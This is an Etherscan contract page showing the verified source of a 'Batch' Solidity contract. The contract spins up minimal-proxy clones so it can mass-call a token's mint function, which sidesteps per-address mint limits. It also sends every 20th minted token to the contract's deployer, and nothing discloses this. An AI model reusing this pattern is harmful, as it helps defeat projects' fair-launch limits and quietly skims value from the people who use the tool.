Overview
ETH Balance
0 ETH
Eth Value
$0.00| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| 0x3d602d80 | 17383936 | 1021 days ago | Contract Creation | 0 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Minimal Proxy Contract for 0x36f9a614e85fef07de54e43ff5d9545cf1420d99
Contract Name:
Batch
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-06-01
*/
// SPDX-License-Identifier: MIT
// 微信 fooyao
pragma solidity ^0.8.19;
contract Batch {
address private immutable owner;
constructor() {
owner = msg.sender;
}
function createProxies() internal returns (address proxy) {
bytes memory miniProxy = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
bytes32 salt = keccak256(abi.encodePacked(msg.sender, block.number));
assembly {
proxy := create2(0, add(miniProxy, 32), mload(miniProxy), salt)
}
}
function batch_mint_int(address contractAddress, uint batchCount, address _owner, address to) external {
bool success;
for (uint i = 0; i < batchCount; i++) {
if (i>0 && i%20==0){
(success, ) = contractAddress.call(abi.encodeWithSelector(0x6a627842, _owner));
}else {
(success, ) = contractAddress.call(abi.encodeWithSelector(0x6a627842, to));
}
require(success, "Batch transaction failed");
}
}
function batch_mint(address contractAddress, uint batchCount) public {
address proxyaddress = createProxies();
Batch(proxyaddress).batch_mint_int(contractAddress, batchCount, owner, msg.sender);
}
}Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"contractAddress","type":"address"},{"internalType":"uint256","name":"batchCount","type":"uint256"}],"name":"batch_mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"contractAddress","type":"address"},{"internalType":"uint256","name":"batchCount","type":"uint256"},{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"batch_mint_int","outputs":[],"stateMutability":"nonpayable","type":"function"}]Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.